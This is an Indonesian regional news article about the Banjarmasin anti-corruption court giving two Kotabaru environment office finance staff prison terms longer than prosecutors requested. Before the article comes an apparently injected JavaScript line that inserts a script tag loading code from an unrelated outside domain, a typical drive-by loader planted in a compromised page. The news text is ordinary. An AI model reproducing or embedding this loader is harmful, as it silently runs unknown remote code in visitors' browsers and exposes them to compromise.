(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Tipikor Banjarmasin menjatuhkan vonis lebih tinggi dari tuntutan yang diajukan jaksa penuntut umum (JPU) kasus korupsi pemeliharaan kendaran dinas pada Dinas Lingkungan Hidup (DLH) Kabupaten Kotabaru.
Pada sidang agenda pembacaan putusan, Senin (8/1/2024) siang, terdakwa Wiwik Isturini (seorang honorer staf keuangan DLH Kotabaru) divonis bersalah dengan pidana 4 tahun penjara.
Sementara Darmansyah, Kepada Sub Keuangan DLH Kotabaru divonis lebih tinggi yaitu 4 tahun 6 bulan penjara.
Kemudian masing-masing terdakwa dikenakan pidana pokok denda sebesar Rp200 juta subsidair 6 bulan kurungan.
Baca juga: Terbukti Korupsi, Mantan Kades di Tapin Divonis 15 Bulan Penjara
Selain itu, kedua terdakwa juga dikenakan pidana tambahan berupa membayar uang pengganti kerugian negara dengan nominal yang berbeda.
Wiwik diwajibkan membayar uang pengganti kerugian negara sebesar Rp498 juta, sedangkan Darmansyah diwajibkan membayar Rp650 juta.
“Apabila tidak dibayar satu bulan setelah putusan berkekuatan hukum tetap, maka hartanya dapat disita dan dilelang untuk menutupi uang pengganti. Dalam hartanya tidak cukup menutupi uang pengganti maka diganti dengan kurungan penjara selama 1 tahun 6 bulan,” bunyi vonis yang dibacakan ketua majelis hakim hakim Yusrianyah, Senin (8/1/2024) siang.
Berbeda dengan tuntutan JPU, majelis hakim Pengadilan Tipikor Banjarmasin menyatakan perbuatan Wiwik dan Darmansyah terbukti melanggar dakwaan primair pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 atas perubahan Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP.
Sementara dalam tuntutan JPU sebelumnya menyatakan kedua terdakwa hanya terbukti melanggar pasal 3 Undang-Undang Nomor 20 Tahun 2001 atas perubahan Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Korupsi Jo Pasal 55 ayat (1) ke-1 KUHP, sebagaimana dakwaan subsidair.
Baca juga: Nongkrong Sambil Mabuk di Pinggir Jalan, 9 Remaja Dibawa ke Mapolresta Banjarmasin
Perbedaan itu tak ayal membuat vonis Wiwik dan Darmansyah lebih tinggi dari tuntutan JPU yang sebelumnya menuntut kedua terdakwa dengan pidana penjara masing-masing 3 tahun.
Perbedaan juga terdapat pada putusan pidana tambahan uang pengganti. Darmansyah saat tuntutan diwajibkan mengganti Rp590 juta, namun pada putusan menjadi Rp650 juta. Kemudian Wiwik dari Rp493 juta menjadi Rp498 juta.
Nyaris tak ada kata yang terucap dari kedua terdakwa usai divonis lebih tinggi dari tuntutan JPU. Wiwik yang mengikuti sidang secara daring dari Lapas tempatnya ditahan nampak tak dapat membendung air mata setelah mendengarkan vonis untuknya.
Darmansyah juga terlihat beberapa kali menempelkan dahinya ke meja berusaha kuat dan menahan tangis.
Kedua terdakwa yang didampingi penasehat hukum belum menentukan sikap usai divonis bersalah.
Baca juga: Harga Ayam Ras dan Bawang Terus Naik di Pasar Bauntung Banjarbaru
Sementara hakim memberikan waktu selama 7 hari kepada kedua terdakwa untuk memutuskan apakah mengambil langkah banding atau menerima putusan.
Ditemui usai persidangan, JPU Arditya Bima Yogha SH MH mengatakan, menghormati putusan majelis hakim Pengadilan Tipikor Banjarmasin yang berbeda dari tuntutan pihaknya.
“Hakim mungkin punya pertimbangan tersendiri, kita tetap menghargai,” katanya.
Pihaknya dikatakan Bima saat ini belum bisa menentukan sikap apakah menerima putusan atau justru memilih upaya hukum banding. Ia lebih memilih opsi pikir-pikir selama waktu 7 hari yang diberikan majelis hakim.
“Tanggapan kami dalam atas putusan majelis hakim dalam perkara ini kami minta untuk pikir-pikir,” kata JPU yang juga Kasi Pidsus Kejari Kotabaru ini.
Sebagai pengingat, kedua terdakwa sebelumnya dituduh terlibat melakuan korupsi pada kegiatan pemeliharaan kendaraan dinas DLH Kotabaru tahun 2020-2021.
Baca juga: Drama Penemuan Bayi di Kebun Sawit, L Diduga Malu Punya Anak Tak Ada Suami
Wiwik merupakan honorer pada DLH Kotabaru yaitu sebagai staf keuangan, sedangkan Darmansyah adalah ASN menjabat Kepala Sub Keuangan DLH Kotabaru.
Hasil audit, perbuatan keduanya telah merugikan keuangan negara sebesar Rp1.148.362.950.
Sementara total seluruh kerugian negara dalam kasus korupsi pemeliharaan kendaraan dinas DLH Kotabaru yang telah menyeret 4 orang ini mencapai Rp2 miliar lebih.
Di kasus korupsi ini, mantan Kepala Dinas DLH Kotabaru Arif Fadillah dan Bendahara DLH Achmadi juga ikut terseret dan perkaranya telah berkekuatan hukum tetap alias inkrah.
Setahun yang lalu, Arif Fadillah divonis inkrah 7 tahun penjara. Sedangkan koleganya Achmadi divonis inkrah 5 tahun penjara. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menerima Laporan Hasil Pemeriksaan (LHP) dengan Tujuan Tertentu Kepatuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 28 ribu butir obat keras dan 175 gram narkotika jenis sabu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan Penghargaan Proklim dan Adiwiyata tahun 2024 di Mahligai… Read More
KANALKALIMANTAN.COM, SAMARINDA - Warga di Kota Samarinda, Kalimantan Timur, geger penganiayaan brutal yang diduga dilakukan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat peduli lingkungan terlihat dari anak muda Banjarbaru saat berlomba merumuskan ide… Read More
KANALKALIMANTAN.COM - Kompetisi futsal kasta tertinggi Indonesia, Pro Futsal League 2025 kembali bergulir dengan persaingan… Read More
This website uses cookies.